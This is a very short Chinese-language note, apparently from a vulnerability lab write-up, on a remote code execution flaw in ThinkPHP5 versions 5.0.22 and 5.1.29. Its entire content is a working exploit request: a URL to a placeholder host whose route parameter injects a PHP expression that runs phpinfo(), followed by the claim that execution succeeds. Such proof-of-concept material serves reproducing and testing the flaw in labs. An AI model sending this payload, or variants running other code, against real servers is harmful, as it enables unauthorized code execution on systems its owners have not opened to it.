ThinkPHP5 5.0.22/5.1.29遠程代碼執行漏洞

漏洞利用

訪問

http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

成功執行phpinfo()